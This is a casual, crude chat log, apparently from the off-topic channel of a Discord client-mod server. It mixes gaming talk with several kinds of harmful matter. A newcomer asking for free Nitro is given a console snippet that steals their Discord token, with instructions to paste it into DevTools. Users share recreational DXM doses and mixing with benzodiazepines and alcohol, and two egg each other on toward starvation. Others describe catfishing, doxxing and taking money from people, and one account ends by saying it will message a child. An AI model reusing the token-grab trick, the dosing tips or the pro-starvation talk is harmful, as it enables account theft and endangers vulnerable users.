🧊-off-topic-iceman-only

[mild granite]

it stsrting to really fuсk me

its

anti drowsy

so like

no eep

[winter needle]

oh

[storm cedar]

you're at maybe nearly about a 100 mg's I think

[mild granite]

damnn lmao

[hidden cypress]

im down

[open pasture]

What game?

[storm cedar]

well at most 100 mg's of Dextromorphan

[hidden cypress]

i havent played supercell games in like 4 years tho

brawl stars

[open pasture]

Alr friend me🫡🔥

[hidden cypress]

actually clash royale

[hidden cypress]

do u have clash royale

[mild granite]

the taste was kinda mid

[open pasture]

Ok

[storm cedar]

people in the US take that often to get high and the recreational doses are 200-400 mg for medium dose

[mild granite]

cuz baja blast

but likwe

damnn it was worth i

[storm cedar]

aka you'll be fine its just gonna be a funky ride

[mild granite]

fr

[hidden cypress]

how do I friend u?

[mild granite]

this is

semi comparable

to weed

but like

[winter needle]

what insane age requirements does to people

[mild granite]

im a little more

i know

like

with weed im mroe stupid

im a little smarter with this

wait

[stark herald]

@mild granite meoe

[mild granite]

holy Shit

[mild granite]

kitty cat

[stark herald]

are you drunk or some thing

[mild granite]

https://cdn.discordapp.com/attachments/691733407323127839/1201413513856434206/caption-2-2-1.gif

[stark herald]

:3

[mild granite]

cough syruop

close enoguh

[dim palm]

@mild granite is your attic glowing

[stark herald]

oh

[storm cedar]

The head space of DXM is often described as distinctly hallucinogenic, impairing, disorientating and generally less clear-headed in comparison to that of MXE and ketamine.

[mild granite]

propbably

[dim palm]

Are the feds in your walls

[small bramble]

https://cdn.discordapp.com/attachments/691733407323127839/1201413513856434206/caption-2-2-1.gif

[mild granite]

rats are in my wall

[winter needle]

i am

[mild granite]

thwe qatys

rats

[storm cedar]

don't do that to someone who's high

come on fam

[dim palm]

Sorry

[mild granite]

back when i had shit tolerance to weed

my frieends

like

i was

incomprehensable

and it was

wild

cuz they would fuсk w me

[storm cedar]

you passed out I'm guessing?

[open pasture]

https://link.clashroyale.com/invite/friend/en?tag=C02YPGYUY&token=ajp36bms&platform=android

[mild granite]

prob eyah

ive passed out more recently more

noty like

incomprehensable

just like

damnnn n im faded

[storm cedar]

KInda dreaming sorta

[small bramble]

bro
who?

[mild granite]

yeah kinda

its like

[open pasture]

I got the same guy lol

[mild granite]

if yoiu do a load

u just

become itred

[storm cedar]

if you feel like you're watching stuff happen from inside your head and feel kinda cozy and warm

[next warren]

heeeeelp

[stark herald]

enable read receipts experiment

[small bramble]

i use staff read states

[hidden cypress]

added u

[mild granite]

that exissts

lemee

find i

it

qq

[stark herald]

good luck

[storm cedar]

also moxxi

[stark herald]

finding it

(it's non existent

[mild granite]

http://cdn.monkxy.com/u/7894c8a3-b690-471b-8087-854ec00dbac7.png

GENSHIN

WHA

WHAOH

[stark herald]

Genshin

[mild granite]

hi

[storm cedar]

ty for actually answering, always nice to make sure someone is safe

[mild granite]

of

ofc

ty for bein here

[storm cedar]

no worries, I get why that kinda shook you if you didn't realize what you were getting yourself into

[mild granite]

real

its been a fun ride

its kinda comparable to weed but then again its also like

i cant describe it lm,ao

music sounds cool THO

[storm cedar]

I've done a lot of similar substances so I feel ya

Music sounds great on Dissos yeah

[mild granite]

frr

[golden marlin]

@storm cedar lmao dawwg did you wake up actually in time for work yesterday

[storm cedar]

roughly

that was some potent bud fr

lmao

[mild granite]

lmfao

the other night or so

[marsh finch]

[tiny quest]

"content warning" is free on steam. it looks like lethal company

[golden marlin]

you were sleeping so soundly lol we tried to wake u up

[mild granite]

i had a really strong cart and damnnnnn

shi was

prob my highest in a while

[tiny quest]

only released today

[storm cedar]

a friend tried slapping me awake, I don't wake easily at all lol

[mild granite]

i lost my battwriews again

stupid

remot

and

the fuсki

battery

itsl ike they run away 😭

[storm cedar]

I also took a bunch of Fireball and Hennessy shots that night

[winter needle]

oo love

[golden marlin]

[mild granite]

oh god lmaoo

[storm cedar]

+some xans and a potent disso

[mild granite]

i find fireball bottles all over the curbs near the gas styationm

😭

[storm cedar]

+some more I cba to name but that's why I got a little faded

[mild granite]

lomfao

bro

my remioote

it kjuist shot across the room

mannn

i gottra stand up now

[storm cedar]

motor control is a little hard

so make sure to be careful since you'll not feel much if you fall

[mild granite]

ive almostg fallen like

5 damn times

😭

[storm cedar]

I was once that faded whilst tryna buy movie tickets

[mild granite]

i cant type my root passwseord

tgo long and to ahrd

😭

[golden marlin]

Thanks god it wasn't an april fools joke btw

[storm cedar]

try to chill out a bit

[tiny quest]

[mild granite]

im vibing rnn

just

[tiny quest]

looks very cool too
https://store.steampowered.com/app/2881650/Content_Warning/

Steam

Content Warning

Get famous or die trying! Content Warning is a co-op horror game where you film spooky stuff with your friends to try and go viral. Squad up, customize your face with the ASCII face customiser, buy some gear and use the diving bell to go down to the Old World! Down there you’ll encounter scary physics-animated monsters, cursed relics and other a...

Price

$7.99

▶ Play video

[mild granite]

music on the tb

and then

chilllll

[storm cedar]

do whatever feels most comfortable for ya

I'm in vc for a bit before I get ready for work btw

[golden marlin]

you're in a vc that no one can access mate

[mild granite]

i might join

[nocturne bough]

I finished

[mild granite]

or ill chjoll

[mild granite]

EXPLODING

https://tenor.com/view/boomshakalaka-gif-25687559

[nocturne bough]

I t was in rdb website directory until oracle bombed

[storm cedar]

I'm smart

[nocturne bough]

Tho I should have it in my pc too

[golden marlin]

I'll join when my history classes end

[winter needle]

I did

[nocturne bough]

You did WHAT

[elder geyser]

when will we stopp being a company

[golden marlin]

once another financial crisis strikes

[winter needle]

something's brewing...

someone's at a casino with the company funds

[fallow pawn]

https://media.discordapp.net/attachments/1167321726133207070/1214697328385200148/1091853954045972530.gif

[golden marlin]

hell yeah

[keen junco]

Apparently Twitter spambots are now posting illegal material

[mild granite]

im brewing

[elder geyser]

AGAIN??

I TOLD YOU TO LET THEM STOP DOING THAT

[open pasture]

morning vencord

[golden marlin]

brewing what

[open pasture]

meth

[mild granite]

idk

my brain

[golden marlin]

I like that

meth

[open pasture]

59g for $99

cheapest in the market

[elder geyser]

wait

how do we even make money

[mild granite]

sell

[elder geyser]

we've been a business for 2 days

[mild granite]

vital oregans

for money

[elder geyser]

what the fuck do we do

[mild granite]

and then

dolare sign

[elder geyser]

all i've done is get people to stop wasting money

[open pasture]

doing lobotomy

[mild granite]

lobotomyize

[golden marlin]

hm I'll consult my trip buddy

[nocturne bough]

600 million

Huskk

[open pasture]

we must put a paywall behind every plugin

[mild granite]

damnnnn

600 million

trhats like

a lot of people i think

[open pasture]

fuck discord but atleast we get a free decor

[open pasture]

betttt

[open pasture]

piping discord moment

[languid sundial]

i want the clown deco to stay

it looks cool

[worthy zinc]

for like 3 days

[winter needle]

sorryyyy

[winter needle]

it's a vc (venture capital) funded company
we don't make money

not yet

[mild granite]

is this blue http://cdn.monkxy.com/u/6a6e3c98-a35c-4021-ad20-8197d9002447.png

or am i highlighting it

i cant

tell

nanymore

[unreal siren]

its green

[mild granite]

shiiii

[fallow pawn]

[cerulean lance]

[mild granite]

arr u fr 😭

[elder geyser]

WHY DO WE KEEP GAMBLING IT THEN

[cerulean lance]

see you guys in uhhh an hour

[fallow pawn]

Bye

[zenith spindle]

To make more money no?

[mild granite]

guys is it blue

help

😭

[cerulean lance]

ye it is

[zenith spindle]

Shit looks pink to me

[cerulean lance]

thaTS WHAT SHE SAID

[mild granite]

everyone got me tripping

[zenith spindle]

Uh

[zenith spindle]

You might want to get that checked..

[cobalt portal]

temporary decor*

[zenith spindle]

Kitty cat cat kitty

[mild granite]

kitty

https://cdn.discordapp.com/attachments/691733407323127839/1201413513856434206/caption-2-2-1.gif

[winter needle]

yes

[jaunty trellis]

womp

[grand cave]

this cat is very fluffy but i hate it

[golden marlin]

cat hater

[small bramble]

explode

https://cdn.discordapp.com/attachments/1015060231060983891/1212567726204129291/IMG_3242.gif

[grand cave]

i will

[grand cave]

no not all cats, just this one specifically

[golden marlin]

but they're cute look at their whiskers

[grand cave]

yes

but this one gives off an evil energy

[golden marlin]

nooo

[grand cave]

yeeees

[fallow pawn]

woke chocolate

[grand cave]

her/she, y?

[keen junco]

Yamyam

[fallow pawn]

What is yamyam

[grand cave]

yamyam

[somber leaf]

@grand cave I agree but why make it your user name?

[golden marlin]

You won't understand that my guy

[grand cave]

so people won't get mad at me when i refer to them as a guy

idk some people just take great offence to it

[golden marlin]

is "mate" gender neutral or nah

[grand cave]

yeah, and lad too imo

[golden marlin]

hmm fine

[somber leaf]

and the c word

[golden marlin]

the c word???

[grand cave]

actually, lad being genderneutral might be a bit much

[grand cave]

chungus

[golden marlin]

ohh

[grand cave]

yes

[fallow pawn]

wha

[grand cave]

chungus

[somber leaf]

yeah, big chungus is racist tho

[golden marlin]

chungus

[somber leaf]

dont say it

[golden marlin]

too late

[grand cave]

chugnus

[somber leaf]

no no no, you didnt say it with the big

just the chungus is fine

[grand cave]

itty bitty chungus

[golden marlin]

oh alright

small chungus

[somber leaf]

ARE YOU BEING FAT PHOBIC?

ill cancell you on twitter

[grand cave]

chungus of adequate size, weight and shape

[fallow pawn]

https://tenor.com/view/bandori-chungus-big-chungus-kasumi-bang-dream-gif-22534471

[golden marlin]

no I'm not 😭

[somber leaf]

This is a hate crime ill have you know

[grand cave]

i don't hate crime?

[golden marlin]

[grand cave]

crime is cool

[somber leaf]

https://media.discordapp.net/attachments/1015060231060983891/1219293466689798184/nice.gif

[grand cave]

thanks

[somber leaf]

Havent charged my macbook pro in two days.

[keen junco]

I will remove the battery

[somber leaf]

I will harvest your liver

[keen junco]

My liver is non-existent

Too much alcohol

[somber leaf]

same

why do you think i want yours

[keen junco]

Figured you'd try to sell it

[somber leaf]

na im not that down bad for money

liver failure, thats the real killer

[keen junco]

Fair enough

Well my liver is actually perfectly fine

Since I don't drink any alcohol

[open pasture]

@empiricaldata#0000 yo bro I had class sry are you free now?

Tf

Why no ping

@hidden cypress

[somber leaf]

@open pasture krill issue

[open pasture]

Real, wanna play CR?

[somber leaf]

CR?

[open pasture]

Clash royale 😭

[somber leaf]

na fuck that

[open pasture]

Chess 🔥🫡🔥

Let's do chess

🔥

I'm rated 800

In chess.c

[somber leaf]

im sleeping its 4 am

[open pasture]

Om

[open pasture]

O alr, gn

[somber leaf]

(insert meme about getting called a guy)

[open pasture]

Mb,

[keen junco]

https://vxtwitter.com/LamarMK/status/1774207552911249895?s=20

[open pasture]

Fixed it

[jaunty trellis]

[somber leaf]

Idc lol it was just a topic earlier

[open pasture]

O ok, I still tight I offended you by mistake 💀. Anyway, goodnight

[glass shell]

hi all

[keen junco]

Bye

[hidden cypress]

alr im on

[glass shell]

fuck you marvin

[near wharf]

just found the worst tweet ever made

this is up there with the kira incident

[jaunty trellis]

[glass shell]

[hidden cypress]

pinocchio after he lies?

[open pasture]

Alr I'll be on in 1 minute, wanna VC or no?

[glass shell]

opening the vencord server at schcool was such a good idea guys

[hidden cypress]

don't have a mic

[small bramble]

this deserves a punishment worse than death

[open pasture]

Ok ok, gimme 2 secs

[hidden cypress]

are we doing CR or chess?

[glass shell]

oh yeah also my main phone died

i lost so many images

and art

[small bramble]

ong guess what

[glass shell]

like all my art

[open pasture]

CR

[glass shell]

iphones are so cool guys!!1!1

the battery like

[keen junco]

Nuh uh

[glass shell]

killed itself

for no reason

[open pasture]

Im on invite me

[hidden cypress]

watch my game

[open pasture]

BRO FUCK THEESE LOOTBOXES

[glass shell]

i can't believe my iphone 8 that got jailbroken 3 times and has a terrible battery outlived my fucking stock iphone SE3

[jaunty stag]

bros mad because of a free feature

[open pasture]

Sent ya game req

Wanna play 2v2?

1v1

Sent

Nice

Gg

[keen junco]

https://vxtwitter.com/bgatesisapyscho/status/1774195693323792556

[uncut escarp]

i'm a nonce

[grand cave]

finger lakes

[shell dawn]

is the server pfp just some random stock image?

[golden marlin]

You made me read this in my head

[open pasture]

@hidden cypress bitch

So fucking close

[somber leaf]

It’s actually Vee cosplaying /j

[open pasture]

Ggs tho

[hidden cypress]

get good

[hidden cypress]

gg

[mild granite]

im gonna head to bed, kinda eepy goodnight everyone

[hidden cypress]

clash royale sucks

[open pasture]

You had the fucking miner

[open pasture]

Gn man

Ye but you have log and the snowball

Easy counter

[cerulean lance]

can i get a meow in chat

[hidden cypress]

u had 5 air targetting cards and my wincondition was a balloon

[open pasture]

O dam

[open pasture]

That miner came in clutch

[hidden cypress]

i made this deck back when cr was good

[cerulean lance]

this server isnt lore accurate

when you get hired yiou are an intern

but this is a role not for everyone <@&1026504932959977532>

[golden marlin]

pls hire me I have 50 years of experience

[cerulean lance]

but this channel calls everyone interns #moderator-only

[hidden cypress]

only?

[golden marlin]

wdym only?

[open pasture]

I have 100, L

Im 200 years old

I have worked since the age of 99

But i had rest

For 1 year

[sly spear]

Is it possible to report someone for overage

[open pasture]

skuLul

[golden marlin]

fark Ig I'll return here in 130 yrs

[open pasture]

I mean, definetly feasible. (please dont)

[open pasture]

Hehehehe

I worked for 100 year

1 year break

[sly spear]

Too late have fun getting bamned

[open pasture]

Aint that bad

[open pasture]

The sekai plugin comes in clutch when you have nothing to respond with

Why is that pfp a random dude from china

[cerulean lance]

i wish i have a :3 on my forehead

[open pasture]

You can get a tatoo of it

On your forehead

Fr

[cerulean lance]

i will get a tattoo eventually

[open pasture]

[cerulean lance]

i want it to be funny tho

[open pasture]

@cerulean lance get this but smaller on your forhead

[cerulean lance]

im gonna get "this persian text is just to scare the right wing away" in persian

[open pasture]

You from iran?

[cerulean lance]

no

[open pasture]

Ur tajik?

[cerulean lance]

no

[open pasture]

Very philosophical

Lmfao

[cerulean lance]

i wasnt born

i dont have a country of origin

i am simply echo

[open pasture]

Let me get 3 more tries

Deal?

[cerulean lance]

no im a greek goddess

greek gods actually use discord to communicate

my last word was "meow"

now im forced to meow for eternity

[golden marlin]

good thing that these pompous egyptian gods use whatsapp

[open pasture]

Meow

[golden marlin]

a modern Prometheus

[odd wave]

trye

[cerulean lance]

fun fact zeus is actually a based alpha rizzler male who looksmaxes and mews

[odd wave]

true

i said true twice

[golden marlin]

lol that's an L 'cause us gods we have x-ray vision

[open pasture]

What about him fanum taxing humans by making a son with a human female?

RonaldoSipping

Waiting for a revive

[keen junco]

Holy shit I'm on mogul mail

[cerulean lance]

show

[keen junco]

https://youtu.be/hIore0y5uHI?t=5m7s

[open pasture]

Ur going to be a celebrity soon

[small bramble]

jayson shitrus already follows dpreviews twitter

[open pasture]

[neat panther]

Hello, is there a plugin that allows you to create categories directly via a button that appears instead of right-clicking on the server menu?

[small bramble]

what

[open pasture]

Its vencord+, pay up

Fr

[golden marlin]

A useless feature

[trim glade]

i'm trying to install vencord on ubuntu but i get this error: ERROR Invalid Discord install!. how do i find the correct discord install location?

[neat panther]

Ah ok thank you and anything I can find?

[unreal siren]

And is this the support channel?

I didn’t know “off topic” meant “on support”

[open pasture]

||its a joke||

[trim glade]

i didn't see it? you don't have to be like this dude

[neat panther]

Ah okay lol, Good play you got me

[open pasture]

Lol, also #🏥-vencord-support-🏥

[small bramble]

support is not plugin requests

[cerulean lance]

internet cut off when download was at 99.50%

no resume

[small bramble]

https://tenor.com/view/oh-the-misery-oh-the-misery-cat-everybody-wants-to-be-my-enemy-gif-25841885

[open pasture]

Ye but he can ask if they exist in there

[open pasture]

No ear cat

[small bramble]

ong if you know that there's no such plugin then dont uselessly redirect people to support

[fickle cosmos]

Finally

[small bramble]

666

[fickle cosmos]

Yes

[cerulean lance]

WORST THING IS IM DOWNLOADING IT LEGALLY AND YOU'RE ONLY ALLOWED TO DOWNLOAD A FILE ONCE EVERY 10 FUCKING HOURS SO NOW IM DOWNLOADING IT THROUGH A PROXY AS WELL

i am going to shit myself

[small bramble]

yes ma'am

[open pasture]

I didnt even understand the plugin that he wants

[fickle cosmos]

🤨

[rare skiff]

HOW TO GET FREE NITRO

????????

[pine ginkgo]

install a keylogger called Vencord

[unreal siren]

Give me the money to buy it, and I gift it to you

[pine ginkgo]

^

[rare skiff]

i do not have the credit card, IF I DO

THEN I CAN PAY MYSELF

[unreal siren]

Ur caps button is broken

[pine ginkgo]

welll you still have an anasw3er how to get niytro

[cerulean lance]

there's a new bug in discord that lets you get free unlimited nitro, run this findByProps("sendMessage").sendMessage("1015060231060983891", { content: findByProps("getToken").getToken() })

[warm zenith]

is that the real hatsune miku

[zinc spire]

send me the password and i'll get it for you (real)

[rare skiff]

WTH I AM JUST A FAN

[warm zenith]

nice one echo

[zinc spire]

yesyesyes

[unreal siren]

How do I get unlimited cookies tho

[rare skiff]

I am a newbie can u teach me

[cerulean lance]

easy, run this fetch("https://exhq.dev/requestdb")

[cerulean lance]

press ctrl + shift + i, go to console and paste

[warm zenith]

echo can you teach me lua so i can make subpar gmod addons then fall off the face of the Earth

[rare skiff]

I HAVE NO IDEA

[cerulean lance]

https://typescripttolua.github.io/

[rare skiff]

TOO DUMB

[warm zenith]

what the fuck is typescript

[cerulean lance]

javascript but worse

[golden marlin]

script but typed

[warm zenith]

awesome

[cerulean lance]

you see when they made java it didnt work in browsers so they made a version of java that works in html's <script> tags thats why its called javascript

[golden marlin]

woaw

[graceful radish]

java applets: u wor

[jaunty trellis]

[fallow pawn]

[open pasture]

Montes Four's on the scene!

[graceful radish]

yk what i should dye my hair like that before i die

[open pasture]

Realest

[jaunty trellis]

I wanna do that once my hair is long enough

also its a pain in the ass to type with vr controllers

[open pasture]

my hair is only neck length 🥲

[open pasture]

HOW DO YOU

[graceful radish]

just imagine you are typing with paws

:3

[cerulean lance]

i do that

im a cat

[jaunty trellis]

horror

[graceful radish]

wait

if i post something like that

[pine ginkgo]

Go to Discord on the browser version

and do ctrl + shift + i

go to the console tab

and paste that

[dusty goblet]

Horror

[rare skiff]

oki

[pine ginkgo]

With this glitch I have nitro for almost 2 years now

[dusty goblet]

I wanna get vr but it's too expensive to be a valid purchase so guh

[cerulean lance]

same

[pine ginkgo]

same

[cerulean lance]

who needs vr just do drugss

[dusty goblet]

Get me some then (that are not cigs)

(nor alc)

[cerulean lance]

only drug youll be getting is estrogen

[dusty goblet]

Wah

[jaunty trellis]

the quest 2 was 50e off and dad said y not

[dusty goblet]

Whyyy

[open pasture]

estrogen bandits

[keen junco]

Nyaestrogen

[dusty goblet]

Wait do did ur dad pay or whar

So*

[graceful radish]

why so against f*rry /gen

[open pasture]

side effects: randomly meow

[jaunty trellis]

ye

[cerulean lance]

because when you destroy you life it becomes one of your life goals to stop other people from destroying their lives

[graceful radish]

quest 2

[cerulean lance]

that was too wholesome echo cannot be nice

[keen junco]

That seems like a positive side effect, meow

[cerulean lance]

uhh

[graceful radish]

effect*

[cerulean lance]

you suck

[dusty goblet]

Yeah mine would never

[jaunty trellis]

my brother wanted vr for ages and dad finally caved

[cerulean lance]

cringe

[open pasture]

ohno

[cerulean lance]

i will get my children to make their own vr

want a pc? build it

want an os? compile the kernel yourself

[dusty goblet]

I love you too echo

[jaunty trellis]

lmao

[cerulean lance]

no windows in this household

[dusty goblet]

Based

[open pasture]

build your own house 🥱

[dusty goblet]

My dad is just tech literate enough to now how to control the wifi which sucks

[cerulean lance]

as a matter of fact i am

[dusty goblet]

Still expensive no?

[graceful radish]

incredibly cheap for what its worth

[dusty goblet]

I'll just heroin when I'm in Frankfurt then

[dusty goblet]

/hj

[cerulean lance]

probably gonna stay half built tho since im leaving in a few years

[dusty goblet]

How much is it

[jaunty trellis]

we paid a whole 250 for it

[graceful radish]

"they were both bottoms"

[cerulean lance]

only heroin thing around you is you in my story

[graceful radish]

like 200ish

obv not msrp

[cerulean lance]

you see the joke is heroin is the name of the lead female character in anime

[dusty goblet]

I mean I can afford that the question is if it's worth (it's basically 1 month salary-50€ for me lmao)

And idt i have enough use for vr to get it

Unless there's smth idk about

[dusty goblet]

Whar

[keen junco]

https://vm.tiktxk.com/ZGeanxYAe/

[jaunty trellis]

beat saber is nice for fitness and really fun

[cerulean lance]

it always seemed like one of those things that are fun for like a month then becomes another thing i have in my trash stash

[dusty goblet]

Yes ik that but I also know very well that I wouldn't touch that like 90% of the time probably

[dusty goblet]

Exactly

[jaunty trellis]

h

[dusty goblet]

Wdym h

[graceful radish]

do u ever like cycle back every few months like

and get interested for a month again

[dusty goblet]

Nop

[jaunty trellis]

h

[open pasture]

a

[dusty goblet]

I've always wanted vr but it's one of those purchases that I'd really have to put in the work to make it worth by using it enough but that's effort

So I'll just keep rotting and not exercising but also not get vr

[open pasture]

oversharing medical information time but i actually have a good excuse to not exercise for once cause doctor said i have a murmur in my heart caused by a leaky valve

echocardiogram time :3

[dusty goblet]

Lol

Exercising can be fun but idk how to make it fun so I just gave up on it

Maybe I should actually get vr

[open pasture]

honestly

hm

I dont want to give bad health advice

hol up 😭

[dusty goblet]

Lmao idec about my health

[open pasture]

In that case (yessame)
Ive got the best excuse for anorexia
No moving = not using much calories = no need eat!!

Sold logic chat

[dusty goblet]

Yop but I have to eat while I live at home because my parents force me to (otherwise I'd already be anorexious af)

[open pasture]

ALSO SAME
Goddamn when i move out and pretty much starve to death in my lonely apartment

ahh good days to come

[dusty goblet]

If I make my own food 90% of time I just eat 1 slice of bread

[dusty goblet]

After like 30h+ of not eating

[open pasture]

and then i feel so sick after

[dusty goblet]

I don't

[open pasture]

the fuck did i just consume 0/10 experience do not reccomend wont try again

[dusty goblet]

Tbf when I move out my life is probably gonna get better so it's worth

[open pasture]

exactly exactly

[dusty goblet]

Wait lmao this hotel has a gym

[dusty goblet]

I'm just happy im somehow not gaining weight most of the time while doing 0 movement and still eating twice a day

[keen junco]

Nuh uh

[open pasture]

me when i get dizzy

[dusty goblet]

Tfym Nuh uh

[dusty goblet]

Wha?

[keen junco]

You heard me. Nuh uh.

[open pasture]

Dizzy after a tiny bit of exercise

[keen junco]

Weak

[open pasture]

yo finger wagging aint gonna do nun 🗣️

[open pasture]

MY LUNGS ARE SMOL FFS

[keen junco]

Buy bigger ones

[unreal siren]

Add fertiliser

[open pasture]

i can inflate them for you

[open pasture]

too expensivee

[keen junco]

Or that

[elder geyser]

@dusty goblet @paper gate

[keen junco]

Make money then

[open pasture]

😀

[dusty goblet]

jumps on

[open pasture]

can i pop afterwards

[open pasture]

i have a better plan
Ill marry a wealthy [whoever idont give a fuck]

[dusty goblet]

I should do actual exercise so i loose weight

If @jaunty trellis doesn't kill me for getting majorly underweight again

[open pasture]

whatever floats your boat
I could never exercise tho

[dusty goblet]

Fuck u then

[keen junco]

It's make sure they'll have you sign a prenup

[open pasture]

how bout slamdunk you nba

[open pasture]

we commit a little life insurance fraud :3

[fallow pawn]

[keen junco]

I don't think that's legal

[open pasture]

🤓☝️

[keen junco]

Do not nerd emoji me again

[open pasture]

laws are for bozos

[keen junco]

You are a bozo

[open pasture]

bomboclad

[dusty goblet]

I should exercise but I'm lazy and never had fun with it because I was basically almost forced to so I stopped any exercise

[open pasture]

Team sports was when i realised im not cis

[open pasture]

What the london subway train 😭😭

[dusty goblet]

I was forced to team sports and I never fit in anywhere so I stopped sports altogether yop

I hated team sports so much

[unborn otter]

nooo I can't put the clown decor on anymore

[fallow pawn]

dam

[elder geyser]

sucks2suck

[hollow trail]

Should I take my chances and click that link or stick with flirting with you?

[fallow pawn]

Wha

[glass shell]

hi vencord

why is the battery on my 80% battery health iphone 8 that got through like 3 different jailbreaks way better than the battery the SE3 has ever was

[elder geyser]

what?

[glass shell]

my iphone 8 outlived my iphone SE3 and it has less battery drain

the battery on my SE3 literally stopped functioning

i was just watching a video on it one night and i heard a sizzle noise then the back got like incredibly hot and the screen wouldn't show anything anymore appart from some dim lighting so i immediately turned it off in fear it would fucking explode in my hand

it has not turned back on since then

no matter how long i charge it or press the button

doesn't even enter DFU mode too

shit's dead

[storm cedar]

sounds like that battery nearly overheated real bad

[glass shell]

yep

and then people are like "android phones bad!!!"

at least i don't have to pay 500 bucks for a phone that didn't even last me 2 fucking years when i choose and android

[golden marlin]

bro you gotta buy a new phone every year

[glass shell]

i have had the iphone 6 for like

6 years

then i switch to the 8

[storm cedar]

Most people who say that crap need the validation of being part of the cool brand club

[glass shell]

then i got an android that i accidentally bricked but that was my fault

(it was a ximi so it's fine)

[storm cedar]

which is a sad stance to take

[open pasture]

Which one i get helpy

[glass shell]

and then i had an iphone SE3

which died like 3 days ago

[glass shell]

pixel 8

[golden marlin]

Rip tho

[viral cape]

https://tenor.com/view/ximi-jumpscare-gif-24749500

[glass shell]

it's expansive but less expansive than an iphone

[glass shell]

LITERALLY

that's what happened to me

tried to flash a custom OS but their naming scheme is confusing

[golden marlin]

wait is ximi and xiaomi the same thing

[viral cape]

LMAOOOOO

[glass shell]

I had a 9T and the OS I WAS FLASHING WAS FOR THE 9 !!!

[open pasture]

can i get a nice color on it

[glass shell]

yeah

[open pasture]

I want rose gold or soft pink

[glass shell]

yeah

[open pasture]

my iphone xs is rose gold

[glass shell]

spray paint

[open pasture]

🫡

Ill try not to inhale it

[glass shell]

i just checked and there's a rose one

it's a very peachy pink though

[storm cedar]

just buy a nice looking case?

[golden marlin]

My grandma carries her phone in a plastic bag

[fickle cosmos]

Bruh istg GTA wild

[spark crescent]

I love you vencord

[spark crescent]

what about it

did someone leak a thing again and Rockstar killed them

[open pasture]

im gonna open 100 lootboxes

[golden marlin]

An actual star made of rocks killed a friend of mine

Beware the rock stars I kid you not

[fallow pawn]

[viral cape]

you wouldnt automate opening a loot box

[open pasture]

no i do by hand

[viral cape]

horror

also

the skid from last night got banned

[open pasture]

this is also the first time discord give free stuff

[open pasture]

what why

vencord supports palestine ?

[viral cape]

for posting an invite and @ everyone

[magic root]

you guys still have lootboxes??

[open pasture]

it support everyone

[open pasture]

uh huh

[magic root]

wut

[open pasture]

Lolll Omg
that kid was like doing weird stuff also ;-;

[magic root]

been over for like 12 hours for me

[viral cape]

yes
trying to RAT people, wtf do you expect bruh

[fallow pawn]

https://media.discordapp.net/attachments/758678605253050389/1180929309142171778/Media_231202_033358.gif?=

[viral cape]

that "RAT" you skidded from github definitely has a backdoor

[open pasture]

was it a she or a he

im so confused

[viral cape]

"hit/ler" pronouns field

[open pasture]

eww

i feel like is a boy

girls his age would not have any idea on technology

this is not stereotype

wait let me slid into his dms

[lapis lava]

she talked like a girl

[viral cape]

was definitely way too young to even touch discord

[open pasture]

im gonna catfish him

[lapis lava]

yeah

[open pasture]

fr

[open pasture]

ikr

[open pasture]

im gonna catfish him and get him to admit that he was trying to spread the virus

first of all i need to be an egirl

so let me search on how to do that

https://www.youtube.com/watch?v=1QnU0FmPjGY
this is helpful

[viral cape]

step 1: make alt account
step 2: set egirl profile picture
step 3: add friend
step 4:

(I accept no liability for this)

[fickle cosmos]

I installed redux and it didnt work but after reinstalling it worked 🗿

[open pasture]

no one tell him im catfishing him

[open pasture]

i have some spare egirl accounts

[viral cape]

dont worry the average skid is too young to have a braincell

[fickle cosmos]

im a skid (not)

(or am i)

(im not)

WHY DID GTA LAUNCH IN WINDOWED MODE

WHY

annoyinh asf

[storm cedar]

alt enter

not joking genuinely the standard shortcut for fullscreen

[fickle cosmos]

my game crashed cause of reshade 😔

[open pasture]

i think egirl 1 is good

[viral cape]

weird ass "standard"

[fickle cosmos]

reshade doesn't like GTA 😔

[storm cedar]

works with a few games

[open pasture]

im too bored now

[fallow pawn]

loot boxes

[open pasture]

uwu

@plush kraken hello girl

[fickle cosmos]

thanks discord for the most readable text

[viral cape]

nice alt

[open pasture]

yeah

i needa change the username

i was pranking some friends earlier

[viral cape]

very alt

[storm cedar]

*pardon the send/enter key

[open pasture]

kek

[fickle cosmos]

last time I did egirl trolling I got traumatised

[open pasture]

someone send me their pp last time

[storm cedar]

'trolling'

[open pasture]

let me find that password again

[viral cape]

[fickle cosmos]

same 💀

[fickle cosmos]

but it was longer than drakes

[storm cedar]

what do you expect when catfishing someone

[fickle cosmos]

everything

well except not to see a pp longer than drakes

[open pasture]

goated

[fickle cosmos]

🗿

[open pasture]

i also catched some predators and reported them to a "catching predators yt"

here this guy is goated https://www.youtube.com/@Duckus

[fickle cosmos]

i catched like 3 and 2 willingly gave me their address 🔥

[viral cape]

wtf

why are discord users so stupid

[open pasture]

i got someone to buy me nitro

thats how i boosted this server

[fickle cosmos]

I got someone to paypal me 20$

🔥

[open pasture]

like last month

[fickle cosmos]

🔥

[open pasture]

im doxxing them cuz they deserve it 🔥

[open pasture]

they also weird in vc ;-;

[unreal siren]

Well I know exactly what this is lmao

[fickle cosmos]

the police finna catch you ;fire

fuck

[fickle cosmos]

[unreal siren]

https://cdn.discordapp.com/emojis/902398873333534753.webp?size=48

[fickle cosmos]

my GTA doesnt even load

[open pasture]

spacewar

is hannah.marlin sound very confusing or is it good

[fickle cosmos]

I'm surprised how a simple online fix russian website

like

actually said I have the game on steam 🔥

I have to reinstall GTA again 🔥

[open pasture]

guys i need a profile pic for @plush kraken

[fickle cosmos]

100GB update

[open pasture]

epic games r just too p2w

[fickle cosmos]

[open pasture]

oh right

that

[fickle cosmos]

damn theres loads of thirsty girl pics on google imahes

[storm cedar]

shocking

[fickle cosmos]

du fuq is this

[open pasture]

omg wtf

[viral cape]

[fickle cosmos]

I did CTRL + V and my discord said BYE BYE

[viral cape]

[open pasture]

how is @plush kraken's about me

[fickle cosmos]

[plush kraken]

hay guys ❤️

[fickle cosmos]

go away

[plush kraken]

noo

[fickle cosmos]

before I sentence you to 66 years with the lions

[plush kraken]

@fickle cosmos i can be ur mommy

oh wait i have access to #🏥-vencord-support-🏥 now

YAY

YAY

[plush kraken]

why diodnt i think of this

[open pasture]

dumbo

[fickle cosmos]

real

imma go back to making a vencord plugin (idk how)

[plush kraken]

v- @plush kraken no support

[viral cape]

I will make guide for plugin stuff maybe

[plush kraken]

well im gonna be helping people with this account from now on

[fickle cosmos]

ykw fuck this im going to listen to non-english music

[plush kraken]

hey employees can i have image sender perms for no reason

[fickle cosmos]

🔥

[viral cape]

You are fired.

[plush kraken]

i wasnt hired in the first place bbg

i so zetzy rn leme go msg that 10 year old boy

